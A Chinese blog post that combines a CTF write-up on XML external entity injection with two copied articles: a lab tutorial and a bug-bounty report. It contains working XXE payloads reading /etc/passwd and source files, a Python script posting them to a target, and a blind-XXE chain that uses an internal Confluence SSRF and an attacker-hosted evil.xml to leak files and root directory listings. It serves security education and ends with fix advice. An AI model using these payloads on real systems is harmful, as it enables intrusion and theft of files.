题目简述

题目给出了一个网站,点击左侧相应的汽车名字就会出现相应的图片和数据。一看没什么问题,那么我们就上burp,给浏览器设置代理,访问192.168.1.101,为什么不是127.0.0.1呢?因为访问这个回环地址burp抓不到包,原因未知但可以使用就好了。

观察发现,当我们点击左侧汽车名字的时候,实际上我们是post了相应的请求,抓包修改相应位置的汽车名后发现会跳转到不同的汽车页面。思路这就来了:如果我们post一些其他的东西上去,是否会有突破口?

尝试突破

首先,我先post了一个不存在的汽车名称:

得到这样一个结果:

看起来没有问题,我又思考,这个页面是用php制作的,于是我post了一段php代码:

返回这样一个结果:

这个返回很有意思,直接变成不存在了,看来前面的名字没有了,这网站肯定有些问题,但我不知道问题在哪,于是第三次我直接post了一些垃圾数据:

返回了一个报错:

得到了一些有价值的信息,有一个函数“simplexml load string”,上网查了一下,这个函数可以把 XML 字符串载入对象中。 如果失败,则返回 false。那么是不是说,如果我故意post一些经过设计的xml数据,这个函数就会执行我的指令呢,找到突破口了!

XML External Entity Injection(XXE)

于是我上网搜索此函数的相关漏洞,发现了XXE漏洞,以下是其简介:

漏洞介绍

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

由于站点的建站语言不同,PHP、JAVA、python等也有不同的解析规则,在实际情况中不能一概而论,但原理是相同的。

XML基础知识

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下三种:

file:///path/to/file.ext

http://url

php://filter/read=convert.base64-encode/resource=conf.php

XML在调用外部实体整体的写法如下:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>

<methodcall>

<methodname>&xxe;</methodname>

</methodcall>

这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

漏洞利用

接下来的操作就十分简单了,构造恶意代码,并post到容器中:

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///flag" >]>

<root>

<name>&xxe;</name>

</root>

这里直接读取本地的flag并返回到xxe这个变量中,但这串东西不能直接post,要转成url编码格式(连等号也要编码),转化后post到容器:

成功得到flag

踩坑总结

1.URL 编码/解码

RFC3986 协议对 URL 的编解码问题做出了详细的建议,指出了哪些字符需要被编码才不会引起 URL 语义的转变,以及对为什么这些字符需要编码做出了相应的解释。

RFC3986 协议规定 URL 只允许包含以下四种字符:
1、英文字母(a-zA-Z)
2、数字(0-9)
3、-_.~ 4个特殊字符
4、所有保留字符,RFC3986 中指定了以下字符为保留字符(英文字符): ! * ‘ ( ) ; : @ & = + $ , / ? # [ ]

本工具使用了 JavaScriptdecodeURIComponent 方法进行解码,encodeURIencodeURIComponent 方法进行编码。

encodeURI 方法不会对ASCII字母、数字、!@#$&*()=:/,;?+’ 编码。
encodeURIComponent 方法不会对ASCII字母、数字、
!*()’ 编码。
encodeURIComponentencodeURI 编码的范围大。
因此当你需要编码整个 URL,就用 encodeURI
如果只需要编码 URL 中的参数时,就使用 encodeURIComponent


2.以下是一些xxe漏洞的总结,摘录于不同博客,附链接

首先,我们的目标地址是172.16.12.2/simplexml_load_string.php

我们先来看下simplexml_load_string.php代码怎么写的,代码如下:

<?php

$data = file_get_contents('php://input');

$xml = simplexml_load_string($data);

echo $xml->name;

?>

最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

我们现在打开Burpsuite,修改浏览器的网络配置,点击最右侧的三个横线,然后依次点击->选项->高级->网络->配置firefox如何连接互联网

设置HTTP代理为127.0.0.1,端口为8080,配置完成后,开启burpsuite的拦截功能,然后访问如下网址

http://172.16.12.2/simplexml_load_string.php

burp-firefox

当访问请求被burp拦截后,点击action将此请求发送到burp的repeater选项卡(send to repeater),将如下的XML文本直接写在数据包内容的下面

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

burp_simple

这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。

执行完成上面的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd文件的内容

result_s

如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果在浏览器上显示如下

result_p

返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码

<?php

phpinfo();

?>

我们来访问一下index.php,可以看到确实是执行了phpinfo();函数

index

步骤2 使用并分析恶意脚本

请访问**http://file.ichunqiu.com/397qjz4d**下载实验文件。

打开cmd,输入 python 脚本所在路径\xxe-url2.py(可将脚本直接拖入cmd命令行) ,然后输入要读取的文件及要访问的地址.

如下图所示,脚本放在C:\Documents and Settings\Administrator\My Documents\下载\路径下,运行脚本,输入示例payload

file:///etc/passwd

示例地址

http://172.16.12.2/simplexml_load_string.php

poc

xxe-url2.py的代码如下,通过urllib2的request方法用POST方式向目标地址发送XML数据,返回的数据即为服务器172.16.12.2下的/etc/passwd文件

import urllib2

if __name__ == '__main__':

    print u'输入要读取的文件,如file:///etc/passwd'

    payload = raw_input()

    print u'输入要访问的地址,如http://172.16.12.2/simplexml_load_string.php'

    url = raw_input()

    #url = 'http://192.168.70.235/simplexml_load_string.php'

    headers = {'Content-type': 'text/xml'}

    xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'

    req = urllib2.Request(url = url,headers = headers, data = xml)

    res_data = urllib2.urlopen(req)

    res = res_data.read()

    print res

实验结果分析与总结

本次实验主要了解了XML的基础知识以及PHP中XML的使用,了解了漏洞出现的原理,学习了通过构造恶意的外部实体访问,让服务器读取敏感文件内容的恶意操作。

XML外部实体注入可以造成的危害有:

  • 任意文件读取
  • 系统命令执行
  • 内网主机及服务探测

本次实验我们主要进行了任意文件读取的操作,系统命令执行需要在安装了EXPECT扩展的PHP环境下才能执行,内网主机及服务探测可以通过HTTP协议来执行。

修复方案

  • 使用libxml2.8.0以上版本xml解析库,默认禁止外部实体的解析
  • 对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用函数进行过滤
  • 可将外部实体、参数实体和内联DTD都被设置为false,从而避免基于XXE漏洞的攻击。

https://www.cnblogs.com/cui0x01/p/8823690.html


为什么这个端点能够引起我的注意,是因为这个端点响应的是一个简单的XML结构的错误信息和404。

请求:

GET /interesting/ HTTP/1.1
Host: server.company.com

响应

HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 04 Dec 2018 10:08:18 GMT
Content-Type: text/xml
Content-Length: 189
Connection: keep-alive

<result>
<errors>
<error>The request is invalid: The requested resource could not be found.</error>
</errors>
</result>

我改变请求的方法为POST时,在header头部添加 Content-Type: application/xml并在POST数据中添加了一个不合法的XML数据,响应更加说明这里有XXE漏洞了。

请求:

POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30

<xml version="abc" ?>
<Doc/>

响应:

<result>
<errors>
<error>The request is invalid: The request content was malformed:
XML version "abc" is not supported, only XML 1.0 is supported.</error>
</errors>
</result>

但是当我发送一个正确的结构化的XML文档时:
请求:

POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30

<?xml version="1.0" ?>
<Doc/>

响应:

<result>
<errors>
<error>Authentication failed: The resource requires authentication, which was not supplied with the request</error>
</errors>
</result>

注意了,服务器明显需要凭证,在交互的过程中。遗憾的是,没有文档说明应该如何提供凭证,我也无法在任何地方找到可能有效的凭证。这可能是个坏消息,因为我以前遇到的许多XXE漏洞需要与端点进行某种“有效”交互。如果没有身份验证,利用这个漏洞可能会变得困难得多。

但是现在还没有必要担心!在任何情况下,您都应该尝试包含DOCTYPE定义的字串,以查看是否完全禁止使用外部实体,或者是否可以继续追求乐趣和回报。所以我试着发送了如下请求包:

请求

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://59c99fu65h6mqfmhf5agv1aptgz6nv.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The server was not able to produce a timely response to your request.

我看了下我的Burp Collaborator交互界面,没有期望的HTTP请求,只有如下部分。

幸运的是!服务器明显解析了我的域名,但是没有HTTP请求。此外,注意到了服务器在几秒之后出现500错误。

看起来像防火墙起作用了。我继续尝试进行针对不同端口的出站HTTP请求。但是没有可以达到效果的。所有端口都超时了,显示受影响的服务器至少可以依赖防火墙成功地阻止所有非预期的出站流量。给网络安全团队5分!

只能做 blind xxe

在这一点上,我有一个有趣的发现,但还没有什么真正值得说明的。通过尝试访问本地文件、内部网络和内部服务,我希望能够从中获得一份中危的报告。

为了证明影响,我展示了此漏洞可以用来成功确定文件是否存在:

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwd"> %ext;
]>
<r></r>

响应

The markup declarations contained or pointed to by the document type declaration must be well-formed.

这表明文件存在,XML解析器可以打开和读取文件,但是文件的内容不是有效的文档类型定义(DTD),因此解析器失败并抛出错误。换句话说,外部实体的加载并没有被禁用,但是我们似乎没有得到任何输出。在这个阶段,这似乎是一个blind XXE漏洞。

假设使用的是JavaSAX Parser解析器,因为报错似乎和Java错误类有联系org.xml.sax.SAXParseExceptionpublicId

这很有趣,因为Java在涉及XXE时有许多特性,我们稍后将指出这一点。

当我们访问的文件不存在时,响应是这样的:

请求

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwdxxx"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
/etc/passwdxxx (No such file or directory)

好的,有用但不太好; 如何使用这个blind XXE漏洞作为基本端口扫描器?

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://localhost:22/"> %ext;
]>
<r></r>

响应

The request is invalid: The request content was malformed:
Invalid Http response

很好——这意味着我们可以列举内部服务。这仍然不是我想要的很酷的结果,但至少是一些值得报道的东西。这种类型的blind XXE有效地表现为与blind服务器端请求伪造(SSRF)漏洞类似的行为:您可以启动内部HTTP请求,但不能读取响应。

这让我怀疑是否可以应用任何其他与ssrf相关的技术,以便更好地利用这个blind XXE漏洞。需要检查的一件事是对其他协议的支持,包括httpsgopherftpjarscp等。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [ <!ENTITY % ext SYSTEM "gopher://localhost/"> %ext; ]>
<r></r>

响应:

The request is invalid: The request content was malformed:
unknown protocol: gopher

这很有趣,因为它将用户提供的协议在错误消息中返回回来。我们把它记下来,以后再用。

漏洞与blind ssrf漏洞具有相似性,看看我们是否能够访问任何内部web应用程序是有意义的。由于我的目标公司似乎与相当广泛和多样化的开发人员合作,GitHub中充斥着x.company.internal格式的地址。我找到了一些看起来很有前途的内部资源(很可能有漏洞的服务器)。

wiki.company.internal
jira.company.internal
confluence.company.internal

考虑到防火墙之前阻止了我的传出流量,我想验证内部流量是否也被阻止了,或者内部网络是否更可信。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://wiki.company.internal/"> %ext;
]>
<r></r>

响应

The markup declarations contained or pointed to by the document type declaration must be well-formed.

有趣的是,我们以前看到过这个错误消息,它表示读取了请求的资源,但是没有正确格式化。这意味着允许内部网络通信,并且我们的内部请求成功了!

这就是我们的处境。使用blind XXE 漏洞,可以向许多内部web应用程序发起请求,枚举文件系统中文件的存在性,以及枚举在所有内部主机上运行的服务。在这一点上,我报告了这种漏洞,并在周末前往耶路撒冷的城市之旅中思考进一步的可能性。

独眼称王

周末精神焕发地回来后,我下定决心要找出这个脆弱点可能造成的影响。具体来说,如果我可以在内部网络上找到一个类似代理的主机,未经过滤的内部网络流量可能被滥用将流量路由到外部。

通常,在没有任何形式的可读反馈的情况下,在web应用程序上发现漏洞几乎是不可能的。幸运的是,在Jira中存在一个已知的SSRF漏洞,这已经在许多文章中得到了证明。

我立即去测试我的运气与内部的Jira服务器

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "https://jira.company.internal/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

HTTPS 的流量失败了,如果 SSL 验证出错的话。幸运的是,Jira 默认在8080端口上运行HTTP服务。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri

我又检查了一下Burp Collaborator 的交互信息,但运气不佳。Jira实例可能已经打了补丁,或者已经禁用了易受攻击的插件。于是,我疯狂而徒劳地寻找不同类型的Wiki应用程序上已知的SSRF漏洞之后(并不是最优选择),我决定测试内部Confluence实例是否存在相同的Jira 漏洞(默认情况下运行在端口8090上)。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
The markup declarations contained or pointed to by the document type declaration must be well-formed.

发现

我们成功地通过一个内部易受攻击的Confluence来绕过防火墙限制出站的internet流量。这意味着我们现在可以尝试XXE的经典方法。让我们从托管一个evil.xml文件开始。攻击者服务器托管evil.xml,包含以下内容,希望触发有趣的错误消息:

<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

让我们更详细地看看这些参数实体的定义:

  1. 将外部引用(在本例中是系统的/目录)的内容加载到变量中(%file)
  2. 定义一个变量(%ent);它实际上只是将各个部分链接在一起来解释第三个实体
  3. 尝试在(%file)位置访问资源;(无论它指向何处)并将该位置中的任何内容加载到实体(data)中。

注意,我们希望第三个定义失败,因为(%file)的内容;不会指向有效的资源位置,而是包含完整目录的内容。

现在,使用Confluenceproxy)指向我们的恶意文件,并确保参数(%ent); 实体参数(&data;)被访问以触发目录访问:

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应

no protocol: bin
boot
dev
etc
home
[...]

太棒了!列出了服务器的目录内容!

有趣的是,这显示了从服务器返回基于错误的输出的另一种方法,即指定一个“丢失的”协议,而不是我们前面看到的无效协议。

这可以帮助我们解决在读取包含冒号的文件时遇到的最后一个难点,因为使用上述方法读取/etc/passwd会导致以下错误:

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应:

unknown protocol: root

换句话说,在冒号:第一次出现之前,可以读取文件,但是读取冒号之后不能再读取了。绕过这一点并强制在错误消息中显示完整的文件内容的一种方法是在文件内容之前加上一个冒号。这将导致no protocol错误,因为第一个冒号之前的字段将是空的,即未定义。托管的 evil.xml 修改为:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应:

no protocol: :root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[]

Java 在访问目录时还会返回目录列表,于是尝试访问根目录文件。

evil.xml

<!ENTITY % file SYSTEM "file:///root">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应:

no protocol: :.bash_history
.bash_logout
.bash_profile
.bashrc
.pki
.ssh
[...]

就是这样,看来我们很幸运。通过滥用不充分的网络分隔、未打补丁的内部应用程序服务器、过度特权的web服务器以及通过过于冗长的错误消息传递导致的信息泄漏,我们成功地将一个blind XXE漏洞提升为读取root目录和文件的漏洞。

经验

红队:

  1. 如果有东西看起来很奇怪,那么继续挖掘
  2. Java SAX解析器对URL模式的有趣处理允许使用一些新的方法提取信息。虽然现代Java版本不允许将多行文件作为外部HTTP请求(即attacker.org/?&file;)的方式导出,但是在错误消息中,甚至在URL协议中,都可以获得多行响应

蓝队:

  1. 确保内部服务器和面向公众的服务器一样得到了及时的修补
  2. 不要把内部网络视为一个受信任的安全区,而应采用适当的网络分隔
  3. 将详细的错误消息写入错误日志,而不是HTTP响应
  4. 依赖身份验证并不一定能缓解诸如XXE之类的低级问题

https://www.cnblogs.com/heycomputer/articles/10263382.html


就这么多吧(抄别人的博客的作者是屑)

⬆︎TOP